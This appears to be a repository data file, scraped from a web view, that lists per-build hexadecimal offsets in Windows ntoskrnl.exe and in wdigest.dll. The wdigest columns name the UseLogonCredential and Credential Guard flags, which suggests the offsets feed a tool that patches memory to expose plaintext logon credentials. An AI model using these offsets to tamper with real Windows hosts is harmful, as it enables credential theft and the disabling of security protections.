121 ntoskrnl_15063-1418.exe 385490 385290 385090 6ca 344f98 20 50
122 ntoskrnl_15063-1446.exe 385490 385290 385090 6ca 344fa8 20 50
123 ntoskrnl_15063-1478.exe 385450 385250 385050 6ca 344f68 20 50
124 ntoskrnl_15063-1563.exe 385450 385250 385050 6ca 344f68 20 50
125 ntoskrnl_15063-1596.exe 385450 385250 385050 6ca 344f68 20 50
126 ntoskrnl_15063-1631.exe 385450 385250 385050 6ca 344f68 20 50
127 ntoskrnl_15063-1689.exe 3854d0 3852d0 3850d0 6ca 344fd8 20 50
128 ntoskrnl_15063-1746.exe 3854d0 3852d0 3850d0 6ca 344fd8 20 50
129 ntoskrnl_15063-1805.exe 3853d0 3851d0 384fd0 6ca 344e78 20 50
130 ntoskrnl_15063-1928.exe 385450 385250 385050 6ca 344e48 20 50
131 ntoskrnl_15063-1987.exe 385450 385250 385050 6ca 344e48 20 50
132 ntoskrnl_15063-2017.exe 385450 385250 385050 6ca 344e48 20 50
133 ntoskrnl_15063-2045.exe 385350 385150 384f50 6ca 344e48 20 50
134 ntoskrnl_15063-2076.exe 385350 385150 384f50 6ca 344e48 20 50
135 ntoskrnl_15063-2106.exe 385350 385150 384f50 6ca 344e48 20 50
136 ntoskrnl_15063-2283.exe 385410 385210 385010 6ca 344e68 20 50
137 ntoskrnl_15063-296.exe 382290 382090 381e90 6ca 341ea8 20 50
138 ntoskrnl_15063-674.exe 3822d0 3820d0 381ed0 6ca 341e88 20 50
139 ntoskrnl_15063-675.exe 3822d0 3820d0 381ed0 6ca 341e88 20 50
140 ntoskrnl_15063-786.exe 382310 382110 381f10 6ca 341ec8 20 50
141 ntoskrnl_15063-850.exe 389450 389250 389050 6ca 348fb8 20 50
142 ntoskrnl_15063-909.exe 389510 389310 389110 6ca 348fa8 20 50
143 ntoskrnl_15063-966.exe 389550 389350 389150 6ca 348fa8 20 50
144 ntoskrnl_16299-1004.exe 39fec0 3a00c0 39fcc0 6ca 35dac0 20 50
145 ntoskrnl_16299-1029.exe 39ff00 3a0100 39fd00 6ca 35dac0 20 50
146 ntoskrnl_16299-1087.exe 39ff00 3a0100 39fd00 6ca 35dac0 20 50
147 ntoskrnl_16299-1120.exe 39ff00 3a0100 39fd00 6ca 35dac0 20 50
148 ntoskrnl_16299-1146.exe 3a0d00 3a0f00 3a0b00 6ca 35e8a0 20 50
149 ntoskrnl_16299-1182.exe 3a0d00 3a0f00 3a0b00 6ca 35e8a0 20 50
150 ntoskrnl_16299-1217.exe 3a1000 3a0c00 3a0e00 6ca 35e968 20 50
151 ntoskrnl_16299-125.exe 398a80 398c80 398e80 6ca 356980 20 50
152 ntoskrnl_16299-1331.exe 3a1000 3a0c00 3a0e00 6ca 35e968 20 50
153 ntoskrnl_16299-1364.exe 3a1000 3a0c00 3a0e00 6ca 35e968 20 50
154 ntoskrnl_16299-1419.exe 3a1040 3a0c40 3a0e40 6ca 35e988 20 50
155 ntoskrnl_16299-1448.exe 3a1040 3a0c40 3a0e40 6ca 35e988 20 50
156 ntoskrnl_16299-15.exe 398c80 398e80 398a80 6ca 356908 20 50
157 ntoskrnl_16299-1622.exe 3a0fc0 3a0bc0 3a0dc0 6ca 35e988 20 50
158 ntoskrnl_16299-1747.exe 3a0cc0 3a0ec0 3a0ac0 6ca 35e8c0 20 50
159 ntoskrnl_16299-1775.exe 3a0cc0 3a0ec0 3a0ac0 6ca 35e8c0 20 50
160 ntoskrnl_16299-19.exe 398c80 398e80 398a80 6ca 3568e8 20 50
161 ntoskrnl_16299-192.exe 39dd40 39df40 39db40 6ca 35b980 20 50
162 ntoskrnl_16299-1992.exe 3a0cc0 3a0ec0 3a0ac0 6ca 35e8c0 20 50
163 ntoskrnl_16299-2045.exe 3a1100 3a0d00 3a0f00 6ca 35e988 20 50
164 ntoskrnl_16299-214.exe 39ddc0 39dfc0 39dbc0 6ca 35b980 20 50
165 ntoskrnl_16299-2166.exe 3a1100 3a0d00 3a0f00 6ca 35e988 20 50
166 ntoskrnl_16299-248.exe 39e100 39dd00 39df00 6ca 35bac8 20 50
167 ntoskrnl_16299-251.exe 39e100 39dd00 39df00 6ca 35bac8 20 50
168 ntoskrnl_16299-309.exe 39e0c0 39dcc0 39dec0 6ca 35bae8 20 50
169 ntoskrnl_16299-334.exe 39e0c0 39dcc0 39dec0 6ca 35bac8 20 50
170 ntoskrnl_16299-371.exe 39ce40 39d040 39cc40 6ca 35aa00 20 50
171 ntoskrnl_16299-402.exe 39d0c0 39ccc0 39cec0 6ca 35aaa8 20 50
172 ntoskrnl_16299-431.exe 39ce00 39d000 39cc00 6ca 35aa00 20 50
173 ntoskrnl_16299-461.exe 39d080 39cc80 39ce80 6ca 35aa88 20 50
174 ntoskrnl_16299-492.exe 39b080 39ac80 39ae80 6ca 358aa8 20 50
175 ntoskrnl_16299-522.exe 3a2f00 3a3100 3a2d00 6ca 360ac0 20 50
176 ntoskrnl_16299-547.exe 3a2f00 3a3100 3a2d00 6ca 360ac0 20 50
177 ntoskrnl_16299-551.exe 3a2f00 3a3100 3a2d00 6ca 360ac0 20 50
178 ntoskrnl_16299-579.exe 3a2f00 3a3100 3a2d00 6ca 360ac0 20 50
179 ntoskrnl_16299-611.exe 39fe00 3a0000 39fc00 6ca 35d9e0 20 50
180 ntoskrnl_16299-637.exe 39fe00 3a0000 39fc00 6ca 35d9e0 20 50
181 ntoskrnl_16299-64.exe 398c40 398e40 398a40 6ca 3568e8 20 50
182 ntoskrnl_16299-665.exe 39fe80 3a0080 39fc80 6ca 35dac0 20 50
183 ntoskrnl_16299-666.exe 39fe80 3a0080 39fc80 6ca 35dac0 20 50
184 ntoskrnl_16299-699.exe 39fdc0 39ffc0 39fbc0 6ca 35da00 20 50
185 ntoskrnl_16299-726.exe 39fdc0 39ffc0 39fbc0 6ca 35da00 20 50
186 ntoskrnl_16299-755.exe 3a0080 39fc80 39fe80 6ca 35da88 20 50
187 ntoskrnl_16299-785.exe 39fec0 3a00c0 39fcc0 6ca 35dac0 20 50
188 ntoskrnl_16299-820.exe 39fec0 3a00c0 39fcc0 6ca 35dac0 20 50
189 ntoskrnl_16299-846.exe 39fec0 3a00c0 39fcc0 6ca 35dac0 20 50
190 ntoskrnl_16299-904.exe 39fec0 3a00c0 39fcc0 6ca 35dac0 20 50
191 ntoskrnl_16299-967.exe 39fec0 3a00c0 39fcc0 6ca 35dac0 20 50
192 ntoskrnl_16299-98.exe 398ec0 398ac0 398cc0 6ca 356980 20 50
193 ntoskrnl_17134-1.exe 3f4ef0 3f50f0 3f4cf0 6ca 3b2120 20 50
194 ntoskrnl_17134-1006.exe 3e4ef0 3e4af0 3e4cf0 6ca 3a1fc8 20 50
195 ntoskrnl_17134-1038.exe 3e4db0 3e4fb0 3e4bb0 6ca 3a1fe0 20 50
196 ntoskrnl_17134-1067.exe 3e4f70 3e4b70 3e4d70 6ca 3a1fb0 20 50
197 ntoskrnl_17134-1098.exe 3e4f70 3e4b70 3e4d70 6ca 3a1fb0 20 50
198 ntoskrnl_17134-112.exe 3f1e30 3f2030 3f1c30 6ca 3af088 20 50
199 ntoskrnl_17134-1130.exe 3e4fb0 3e4bb0 3e4db0 6ca 3a1fb0 20 50
200 ntoskrnl_17134-1184.exe 3e4fb0 3e4bb0 3e4db0 6ca 3a1fb0 20 50
201 ntoskrnl_17134-1246.exe 3e4fb0 3e4bb0 3e4db0 6ca 3a1fb0 20 50
202 ntoskrnl_17134-1304.exe 3e4ef0 3e4af0 3e4cf0 6ca 3a1fe8 20 50
203 ntoskrnl_17134-1345.exe 3e4db0 3e4fb0 3e4bb0 6ca 3a1fe0 20 50
204 ntoskrnl_17134-1365.exe 3e4e30 3e5030 3e4c30 6ca 3a2000 20 50
205 ntoskrnl_17134-137.exe 3f1e30 3f2030 3f1c30 6ca 3af088 20 50
206 ntoskrnl_17134-1425.exe 3e4e30 3e5030 3e4c30 6ca 3a2000 20 50
207 ntoskrnl_17134-1488.exe 3e4db0 3e4fb0 3e4bb0 6ca 3a1fe0 20 50
208 ntoskrnl_17134-1550.exe 3e4db0 3e4fb0 3e4bb0 6ca 3a1fe0 20 50
209 ntoskrnl_17134-1610.exe 3e4db0 3e4fb0 3e4bb0 6ca 3a1fe0 20 50
210 ntoskrnl_17134-165.exe 3f1e30 3f2030 3f1c30 6ca 3af088 20 50
211 ntoskrnl_17134-167.exe 3f1e30 3f2030 3f1c30 6ca 3af088 20 50
212 ntoskrnl_17134-1726.exe 3e4ff0 3e4bf0 3e4df0 6ca 3a1f88 20 50
213 ntoskrnl_17134-1792.exe 3e4f70 3e4b70 3e4d70 6ca 3a1fd0 20 50
214 ntoskrnl_17134-1845.exe 3e4f70 3e4b70 3e4d70 6ca 3a1fd0 20 50
215 ntoskrnl_17134-1902.exe 3e4f70 3e4b70 3e4d70 6ca 3a1fd0 20 50
216 ntoskrnl_17134-191.exe 3f2e30 3f3030 3f2c30 6ca 3b0088 20 50
217 ntoskrnl_17134-1967.exe 3e4f70 3e4b70 3e4d70 6ca 3a1fd0 20 50
218 ntoskrnl_17134-2026.exe 3e4f70 3e4b70 3e4d70 6ca 3a1fd0 20 50
219 ntoskrnl_17134-2087.exe 3e4f70 3e4b70 3e4d70 6ca 3a1fd0 20 50
220 ntoskrnl_17134-2145.exe 3e4f70 3e4b70 3e4d70 6ca 3a1f88 20 50
221 ntoskrnl_17134-2208.exe 3e4f70 3e4b70 3e4d70 6ca 3a1f88 20 50
222 ntoskrnl_17134-228.exe 3e5ff0 3e5bf0 3e5df0 6ca 3a3108 20 50
223 ntoskrnl_17134-254.exe 3e5ff0 3e5bf0 3e5df0 6ca 3a3108 20 50
224 ntoskrnl_17134-285.exe 3e6030 3e5c30 3e5e30 6ca 3a3100 20 50
225 ntoskrnl_17134-286.exe 3e6030 3e5c30 3e5e30 6ca 3a3100 20 50
226 ntoskrnl_17134-320.exe 3e5eb0 3e60b0 3e5cb0 6ca 3a3120 20 50
227 ntoskrnl_17134-345.exe 3e5eb0 3e60b0 3e5cb0 6ca 3a3160 20 50
228 ntoskrnl_17134-376.exe 3e5fb0 3e5bb0 3e5db0 6ca 3a3108 20 50
229 ntoskrnl_17134-407.exe 3e5f30 3e5b30 3e5d30 6ca 3a3108 20 50
230 ntoskrnl_17134-471.exe 3e5fb0 3e5bb0 3e5db0 6ca 3a3108 20 50
231 ntoskrnl_17134-472.exe 3e5fb0 3e5bb0 3e5db0 6ca 3a3108 20 50
232 ntoskrnl_17134-48.exe 3f5030 3f4c30 3f4e30 6ca 3b20e8 20 50
233 ntoskrnl_17134-523.exe 3e5fb0 3e5bb0 3e5db0 6ca 3a3108 20 50
234 ntoskrnl_17134-556.exe 3e5fb0 3e5bb0 3e5db0 6ca 3a3108 20 50
235 ntoskrnl_17134-590.exe 3e5fb0 3e5bb0 3e5db0 6ca 3a3108 20 50
236 ntoskrnl_17134-619.exe 3e5fb0 3e5bb0 3e5db0 6ca 3a3108 20 50
237 ntoskrnl_17134-648.exe 3e5fb0 3e5bb0 3e5db0 6ca 3a3108 20 50
238 ntoskrnl_17134-677.exe 3e4eb0 3e50b0 3e4cb0 6ca 3a2160 20 50
239 ntoskrnl_17134-706.exe 3e4eb0 3e50b0 3e4cb0 6ca 3a2160 20 50
240 ntoskrnl_17134-753.exe 3e4eb0 3e50b0 3e4cb0 6ca 3a2160 20 50
241 ntoskrnl_17134-765.exe 3e4ef0 3e4af0 3e4cf0 6ca 3a1f48 20 50
242 ntoskrnl_17134-766.exe 3e4ef0 3e4af0 3e4cf0 6ca 3a1f48 20 50
243 ntoskrnl_17134-799.exe 3e4f30 3e4b30 3e4d30 6ca 3a1f68 20 50
244 ntoskrnl_17134-81.exe 3f4f30 3f5130 3f4d30 6ca 3b2120 20 50
245 ntoskrnl_17134-829.exe 3e4f30 3e4b30 3e4d30 6ca 3a1f68 20 50
246 ntoskrnl_17134-83.exe 3f4f30 3f5130 3f4d30 6ca 3b2120 20 50
247 ntoskrnl_17134-858.exe 3e4f30 3e4b30 3e4d30 6ca 3a1f68 20 50
248 ntoskrnl_17134-885.exe 3e4f30 3e4b30 3e4d30 6ca 3a1f68 20 50
249 ntoskrnl_17134-915.exe 3e4d70 3e4f70 3e4b70 6ca 3a1fa8 20 50
250 ntoskrnl_17134-950.exe 3e4d70 3e4f70 3e4b70 6ca 3a1fa8 20 50
251 ntoskrnl_17134-982.exe 3e4f30 3e4b30 3e4d30 6ca 3a1fd0 20 50
252 ntoskrnl_17763-1.exe 45c4b0 45c0b0 45c2b0 6ca 40f038 20 50
253 ntoskrnl_17763-1007.exe 4d8c30 4d8830 4d8a30 6ca 4096a0 20 50
254 ntoskrnl_17763-1039.exe 4d8b30 4d8d30 4d8930 6ca 409698 20 50
255 ntoskrnl_17763-107.exe 45c430 45c030 45c230 6ca 40f018 20 50
256 ntoskrnl_17763-1098.exe 4d9d30 4d9930 4d9b30 6ca 40a670 20 60
257 ntoskrnl_17763-1131.exe 4d9af0 4d9cf0 4d98f0 6ca 40a678 20 60
258 ntoskrnl_17763-1158.exe 4d9af0 4d9cf0 4d98f0 6ca 40a678 20 60
259 ntoskrnl_17763-1192.exe 4d9d30 4d9930 4d9b30 6ca 40a670 20 60
260 ntoskrnl_17763-1217.exe 4d9d30 4d9930 4d9b30 6ca 40a670 20 60
261 ntoskrnl_17763-1282.exe 4d9d70 4d9970 4d9b70 6ca 40a6b0 20 60
262 ntoskrnl_17763-1294.exe 4d9d70 4d9970 4d9b70 6ca 40a6b0 20 60
263 ntoskrnl_17763-1339.exe 4d9d70 4d9970 4d9b70 6ca 40a6b0 20 60
264 ntoskrnl_17763-134.exe 45c430 45c030 45c230 6ca 40efd8 20 50
265 ntoskrnl_17763-1369.exe 4d9d70 4d9970 4d9b70 6ca 40a6b0 20 60
266 ntoskrnl_17763-1397.exe 4d9bf0 4d97f0 4d99f0 6ca 40a6c0 20 60
267 ntoskrnl_17763-1432.exe 4d7b30 4d7d30 4d7930 6ca 408698 20 60
268 ntoskrnl_17763-1457.exe 4d7b30 4d7d30 4d7930 6ca 408698 20 60
269 ntoskrnl_17763-1490.exe 4d5b70 4d5d70 4d5970 6ca 4066d8 20 60
270 ntoskrnl_17763-1518.exe 4d5b30 4d5d30 4d5930 6ca 406698 20 60
271 ntoskrnl_17763-1554.exe 4d5cf0 4d58f0 4d5af0 6ca 406630 20 60
272 ntoskrnl_17763-1577.exe 4d5cf0 4d58f0 4d5af0 6ca 406630 20 60
273 ntoskrnl_17763-1613.exe 4d5cf0 4d58f0 4d5af0 6ca 406630 20 60
274 ntoskrnl_17763-1637.exe 4d5cf0 4d58f0 4d5af0 6ca 406630 20 60
275 ntoskrnl_17763-168.exe 4dad70 4da970 4dab70 6ca 40b078 20 50
276 ntoskrnl_17763-1697.exe 4d5cf0 4d58f0 4d5af0 6ca 406630 20 60
277 ntoskrnl_17763-1728.exe 4d5cf0 4d58f0 4d5af0 6ca 406630 20 60
278 ntoskrnl_17763-1757.exe 4d5b70 4d5d70 4d5970 6ca 4066d8 20 60
279 ntoskrnl_17763-1790.exe 4d5b70 4d5d70 4d5970 6ca 4066d8 20 60
280 ntoskrnl_17763-1817.exe 4d5b70 4d5d70 4d5970 6ca 4066d8 20 60
281 ntoskrnl_17763-1821.exe 4d5b70 4d5d70 4d5970 6ca 4066d8 20 60
282 ntoskrnl_17763-1823.exe 4d5b70 4d5d70 4d5970 6ca 4066d8 20 60
283 ntoskrnl_17763-1852.exe 4d5bf0 4d57f0 4d59f0 6ca 4066c0 20 60
284 ntoskrnl_17763-1879.exe 4d5bf0 4d57f0 4d59f0 6ca 4066c0 20 60
285 ntoskrnl_17763-1911.exe 4d6870 4d6a70 4d6670 6ca 407498 20 60
286 ntoskrnl_17763-1935.exe 4d6870 4d6a70 4d6670 6ca 407498 20 60
287 ntoskrnl_17763-194.exe 4d9d70 4d9970 4d9b70 6ca 40a038 20 50
288 ntoskrnl_17763-195.exe 4d9d70 4d9970 4d9b70 6ca 40a038 20 50
289 ntoskrnl_17763-1971.exe 4d6bb0 4d67b0 4d69b0 6ca 407498 20 60
290 ntoskrnl_17763-1999.exe 4d6bb0 4d67b0 4d69b0 6ca 407498 20 60
291 ntoskrnl_17763-2028.exe 4d67b0 4d69b0 4d65b0 6ca 407418 20 60
292 ntoskrnl_17763-2029.exe 4d67b0 4d69b0 4d65b0 6ca 407418 20 60
293 ntoskrnl_17763-2061.exe 4d58f0 4d5af0 4d56f0 6ca 406430 20 60
294 ntoskrnl_17763-2090.exe 4d5930 4d5b30 4d5730 6ca 406470 20 60
295 ntoskrnl_17763-2114.exe 4d5930 4d5b30 4d5730 6ca 406470 20 60
296 ntoskrnl_17763-2145.exe 4d68b0 4d6ab0 4d66b0 6ca 407480 20 60
297 ntoskrnl_17763-2183.exe 4d68b0 4d6ab0 4d66b0 6ca 407480 20 60
298 ntoskrnl_17763-253.exe 4d9d70 4d9970 4d9b70 6ca 40a038 20 50
299 ntoskrnl_17763-292.exe 4daaf0 4dacf0 4da8f0 6ca 40b078 20 50
300 ntoskrnl_17763-316.exe 4daaf0 4dacf0 4da8f0 6ca 40b078 20 50
301 ntoskrnl_17763-348.exe 4dabb0 4da7b0 4da9b0 6ca 40afb8 20 50
302 ntoskrnl_17763-379.exe 4dabf0 4da7f0 4da9f0 6ca 40aff8 20 50
303 ntoskrnl_17763-404.exe 4dad70 4da970 4dab70 6ca 40b718 20 50
304 ntoskrnl_17763-437.exe 4dad70 4da970 4dab70 6ca 40b718 20 50
305 ntoskrnl_17763-439.exe 4dad70 4da970 4dab70 6ca 40b718 20 50
306 ntoskrnl_17763-475.exe 4daaf0 4dacf0 4da8f0 6ca 40b730 20 50
307 ntoskrnl_17763-503.exe 4da9b0 4dabb0 4da7b0 6ca 40b598 20 50
308 ntoskrnl_17763-504.exe 4da9b0 4dabb0 4da7b0 6ca 40b598 20 50
309 ntoskrnl_17763-529.exe 4da9b0 4dabb0 4da7b0 6ca 40b598 20 50
310 ntoskrnl_17763-55.exe 45c4f0 45c0f0 45c2f0 6ca 40f098 20 50
311 ntoskrnl_17763-557.exe 4da9b0 4dabb0 4da7b0 6ca 40b598 20 50
312 ntoskrnl_17763-593.exe 4dac70 4da870 4daa70 6ca 40b610 20 50
313 ntoskrnl_17763-615.exe 4dac70 4da870 4daa70 6ca 40b610 20 50
314 ntoskrnl_17763-652.exe 4dabf0 4da7f0 4da9f0 6ca 40b5f0 20 50
315 ntoskrnl_17763-678.exe 4dac30 4da830 4daa30 6ca 40b610 20 50
316 ntoskrnl_17763-719.exe 4daa30 4dac30 4da830 6ca 40b658 20 50
317 ntoskrnl_17763-737.exe 4da9f0 4dabf0 4da7f0 6ca 40b5d8 20 50
318 ntoskrnl_17763-771.exe 4dac70 4da870 4daa70 6ca 40b630 20 50
319 ntoskrnl_17763-802.exe 4dacb0 4da8b0 4daab0 6ca 40b6c0 20 50
320 ntoskrnl_17763-831.exe 4d8c70 4d8870 4d8a70 6ca 409610 20 50
321 ntoskrnl_17763-864.exe 4d8b70 4d8d70 4d8970 6ca 409698 20 50
322 ntoskrnl_17763-914.exe 4d8b70 4d8d70 4d8970 6ca 409698 20 50
323 ntoskrnl_17763-973.exe 4d8b70 4d8d70 4d8970 6ca 409698 20 50
324 ntoskrnl_18362-1016.exe 505fa0 505ba0 505da0 6fa 434bf8 20 60
325 ntoskrnl_18362-1049.exe 503fe0 503be0 503de0 6fa 432c38 20 60
326 ntoskrnl_18362-1082.exe 503fa0 503ba0 503da0 6fa 432bf8 20 60
327 ntoskrnl_18362-1110.exe 503fa0 503ba0 503da0 6fa 432c18 20 60
328 ntoskrnl_18362-1139.exe 5040a0 503ca0 503ea0 6fa 432c98 20 60
329 ntoskrnl_18362-116.exe 500de0 5009e0 500be0 6fa 42fa48 20 50
330 ntoskrnl_18362-1171.exe 5040a0 503ca0 503ea0 6fa 432c90 20 60
331 ntoskrnl_18362-1198.exe 5040a0 503ca0 503ea0 6fa 432c90 20 60
332 ntoskrnl_18362-1237.exe 5040a0 503ca0 503ea0 6fa 432c90 20 60
333 ntoskrnl_18362-1256.exe 5040a0 503ca0 503ea0 6fa 432c90 20 60
334 ntoskrnl_18362-1316.exe 5040a0 503ca0 503ea0 6fa 432c90 20 60
335 ntoskrnl_18362-1350.exe 503b60 503d60 503960 6fa 432bf8 20 60
336 ntoskrnl_18362-1377.exe 503da0 5039a0 503ba0 6fa 432c38 20 60
337 ntoskrnl_18362-1379.exe 503da0 5039a0 503ba0 6fa 432c38 20 60
338 ntoskrnl_18362-1411.exe 503de0 5039e0 503be0 6fa 432c38 20 60
339 ntoskrnl_18362-1440.exe 503da0 5039a0 503ba0 6fa 432c38 20 60
340 ntoskrnl_18362-1441.exe 503da0 5039a0 503ba0 6fa 432c38 20 60
341 ntoskrnl_18362-145.exe 500de0 5009e0 500be0 6fa 42f9e8 20 50
342 ntoskrnl_18362-1474.exe 503ba0 503da0 5039a0 6fa 432c38 20 60
343 ntoskrnl_18362-1500.exe 503b60 503d60 503960 6fa 432c18 20 60
344 ntoskrnl_18362-1533.exe 503e20 503a20 503c20 6fa 432c78 20 60
345 ntoskrnl_18362-1556.exe 503e20 503a20 503c20 6fa 432c78 20 60
346 ntoskrnl_18362-1621.exe 503e20 503a20 503c20 6fa 432c78 20 60
347 ntoskrnl_18362-1679.exe 502da0 5029a0 502ba0 6fa 431bf8 20 60
348 ntoskrnl_18362-1734.exe 503de0 5039e0 503be0 6fa 432c38 20 60
349 ntoskrnl_18362-1801.exe 503ce0 503ee0 503ae0 6fa 432c38 20 60
350 ntoskrnl_18362-207.exe 500de0 5009e0 500be0 6fa 42fa48 20 50
351 ntoskrnl_18362-239.exe 500de0 5009e0 500be0 6fa 42fa48 20 50
352 ntoskrnl_18362-267.exe 503f60 503b60 503d60 6fa 432c60 20 50
353 ntoskrnl_18362-295.exe 503fa0 503ba0 503da0 6fa 432c48 20 50
354 ntoskrnl_18362-30.exe 500d60 500960 500b60 6fa 42fa40 20 50
355 ntoskrnl_18362-329.exe 504ee0 5050e0 504ce0 6fa 433c28 20 50
356 ntoskrnl_18362-356.exe 505060 504c60 504e60 6fa 433c90 20 50
357 ntoskrnl_18362-357.exe 505060 504c60 504e60 6fa 433c90 20 50
358 ntoskrnl_18362-387.exe 505fe0 505be0 505de0 6fa 434c38 20 50
359 ntoskrnl_18362-388.exe 505fe0 505be0 505de0 6fa 434c38 20 50
360 ntoskrnl_18362-418.exe 505ee0 5060e0 505ce0 6fa 434c58 20 50
361 ntoskrnl_18362-449.exe 505da0 505fa0 505ba0 6fa 434c58 20 50
362 ntoskrnl_18362-476.exe 506060 505c60 505e60 6fa 434c78 20 50
363 ntoskrnl_18362-535.exe 506020 505c20 505e20 6fa 434c78 20 50
364 ntoskrnl_18362-592.exe 506060 505c60 505e60 6fa 434c80 20 50
365 ntoskrnl_18362-628.exe 506060 505c60 505e60 6fa 434c78 20 50
366 ntoskrnl_18362-657.exe 505e60 506060 505c60 6fa 434c78 20 50
367 ntoskrnl_18362-693.exe 505de0 505fe0 505be0 6fa 434c38 20 60
368 ntoskrnl_18362-719.exe 505e20 506020 505c20 6fa 434c78 20 60
369 ntoskrnl_18362-720.exe 505e20 506020 505c20 6fa 434c78 20 60
370 ntoskrnl_18362-752.exe 505ea0 5060a0 505ca0 6fa 434c58 20 60
371 ntoskrnl_18362-753.exe 505ea0 5060a0 505ca0 6fa 434c58 20 60
372 ntoskrnl_18362-778.exe 505e60 506060 505c60 6fa 434c70 20 60
373 ntoskrnl_18362-815.exe 505e60 506060 505c60 6fa 434c70 20 60
374 ntoskrnl_18362-836.exe 505ea0 5060a0 505ca0 6fa 434c58 20 60
375 ntoskrnl_18362-900.exe 505ea0 5060a0 505ca0 6fa 434c78 20 60
376 ntoskrnl_18362-904.exe 505ea0 5060a0 505ca0 6fa 434c78 20 60
377 ntoskrnl_18362-959.exe 505ea0 5060a0 505ca0 6fa 434cb8 20 60
378 ntoskrnl_18362-997.exe 505e60 506060 505c60 6fa 434c78 20 60
379 ntoskrnl_19041-1023.exe cec460 cec260 cec060 87a c19db8 20 60
380 ntoskrnl_19041-1052.exe cebfe0 cec3e0 cec1e0 87a c19790 20 60
381 ntoskrnl_19041-1055.exe cec020 cec420 cec220 87a c19790 20 60
382 ntoskrnl_19041-1081.exe cec1e0 cebfe0 cec3e0 87a c19758 20 60
383 ntoskrnl_19041-1082.exe cec420 cec220 cec020 87a c19758 20 60
384 ntoskrnl_19041-1083.exe cec420 cec220 cec020 87a c19758 20 60
385 ntoskrnl_19041-1110.exe cec120 cebf20 cec320 87a c197f8 20 60
386 ntoskrnl_19041-1151.exe cec320 cec120 cebf20 87a c197c0 20 60
387 ntoskrnl_19041-1165.exe cec2e0 cec0e0 cebee0 87a c197a0 20 60
388 ntoskrnl_19041-1202.exe cec320 cec120 cebf20 87a c197d0 20 60
389 ntoskrnl_19041-1237.exe cec320 cec120 cebf20 87a c197d0 20 60
390 ntoskrnl_19041-1266.exe cec3a0 cec1a0 cebfa0 87a c19770 20 60
391 ntoskrnl_19041-1288.exe cec1a0 cebfa0 cec3a0 87a c19790 20 60
392 ntoskrnl_19041-264.exe cec060 cec260 cebe60 87a c19858 20 60
393 ntoskrnl_19041-329.exe cec320 cebf20 cec120 87a c19898 20 60
394 ntoskrnl_19041-331.exe cec320 cebf20 cec120 87a c19898 20 60
395 ntoskrnl_19041-388.exe cec3a0 cebfa0 cec1a0 87a c19898 20 60
396 ntoskrnl_19041-423.exe cec160 cec360 cebf60 87a c198b8 20 60
397 ntoskrnl_19041-450.exe cec320 cebf20 cec120 87a c198b8 20 60
398 ntoskrnl_19041-488.exe cec220 cec420 cec020 87a c19918 20 60
399 ntoskrnl_19041-508.exe cec3a0 cebfa0 cec1a0 87a c19898 20 60
400 ntoskrnl_19041-546.exe cec420 cec020 cec220 87a c19938 20 60
401 ntoskrnl_19041-572.exe cec420 cec020 cec220 87a c19938 20 60
402 ntoskrnl_19041-610.exe cec220 cec420 cec020 87a c19978 20 60
403 ntoskrnl_19041-630.exe cec220 cec420 cec020 87a c19978 20 60
404 ntoskrnl_19041-631.exe cec220 cec420 cec020 87a c19978 20 60
405 ntoskrnl_19041-662.exe cec3a0 cec1a0 cebfa0 87a c198f8 20 60
406 ntoskrnl_19041-685.exe cec3a0 cec1a0 cebfa0 87a c198f8 20 60
407 ntoskrnl_19041-746.exe cebfe0 cec3e0 cec1e0 87a c198f8 20 60
408 ntoskrnl_19041-789.exe cec220 cec620 cec420 87a c19998 20 60
409 ntoskrnl_19041-804.exe cec420 cec220 cec020 87a c19918 20 60
410 ntoskrnl_19041-844.exe cec660 cec460 cec260 87a c19fa8 20 60
411 ntoskrnl_19041-867.exe cec1e0 cec5e0 cec3e0 87a c19fa8 20 60
412 ntoskrnl_19041-868.exe cec1e0 cec5e0 cec3e0 87a c19fa8 20 60
413 ntoskrnl_19041-870.exe cec1e0 cec5e0 cec3e0 87a c19fa8 20 60
414 ntoskrnl_19041-906.exe cec5e0 cec3e0 cec1e0 87a c199d0 20 60
415 ntoskrnl_19041-928.exe cec520 cec320 cec120 87a c19950 20 60
416 ntoskrnl_19041-964.exe cec0e0 cebee0 cec2e0 87a c19d38 20 60
417 ntoskrnl_19041-985.exe cec360 cec160 cebf60 87a c19d78 20 60
418 ntoskrnl_22000-194.exe cf5f40 cf5d40 cf6140 87a c15d20 20 60
419 ntoskrnl_22000-258.exe cf5f40 cf5d40 cf6140 87a c15d20 20 60
420 ntoskrnl_22000-282.exe cf5f00 cf5d00 cf6100 87a c163d0 20 60
+33
View File
@@ -0,0 +1,33 @@
wdigestVersion,g_fParameter_UseLogonCredentialOffset,g_IsCredGuardEnabledOffset
wdigest_10240-18244.dll,35144,34ba0
wdigest_10240-18608.dll,35144,34ba0
wdigest_10586-0.dll,35db0,35ba8
wdigest_15254-245.dll,34d8c,34b88
wdigest_10240-17184.dll,35144,34ba0
wdigest_14393-3750.dll,35dc0,35ba8
wdigest_15063-1868.dll,34d8c,34b88
wdigest_14393-0.dll,35dc0,35ba8
wdigest_14393-3808.dll,35dc0,35ba8
wdigest_10240-18638.dll,35144,34ba0
wdigest_14393-3024.dll,35dc0,35ba8
wdigest_10240-16384.dll,35134,0
wdigest_16299-192.dll,35114,34b88
wdigest_16299-1937.dll,35114,34b88
wdigest_16299-1217.dll,35114,34b88
wdigest_17134-1610.dll,36114,35b88
wdigest_16299-1992.dll,35114,34b88
wdigest_17134-829.dll,35114,34b88
wdigest_17134-590.dll,35114,34b88
wdigest_17134-1553.dll,35114,34b88
wdigest_17763-194.dll,35114,34b88
wdigest_17763-1339.dll,36114,35b88
wdigest_17763-1294.dll,35114,34b88
wdigest_17763-557.dll,35114,34b88
wdigest_18362-175.dll,35124,34b88
wdigest_18362-959.dll,36124,35b88
wdigest_19041-1001.dll,361b4,35c08
wdigest_18362-904.dll,35124,34b88
wdigest_19041-388.dll,361b4,35c08
wdigest_19041-329.dll,361b4,35c08
wdigest_22406-1000.dll,3caa4,3cab0
wdigest_18362-1216.dll,35124,34b88
1 wdigestVersion g_fParameter_UseLogonCredentialOffset g_IsCredGuardEnabledOffset
2 wdigest_10240-18244.dll 35144 34ba0
3 wdigest_10240-18608.dll 35144 34ba0
4 wdigest_10586-0.dll 35db0 35ba8
5 wdigest_15254-245.dll 34d8c 34b88
6 wdigest_10240-17184.dll 35144 34ba0
7 wdigest_14393-3750.dll 35dc0 35ba8
8 wdigest_15063-1868.dll 34d8c 34b88
9 wdigest_14393-0.dll 35dc0 35ba8
10 wdigest_14393-3808.dll 35dc0 35ba8
11 wdigest_10240-18638.dll 35144 34ba0
12 wdigest_14393-3024.dll 35dc0 35ba8
13 wdigest_10240-16384.dll 35134 0
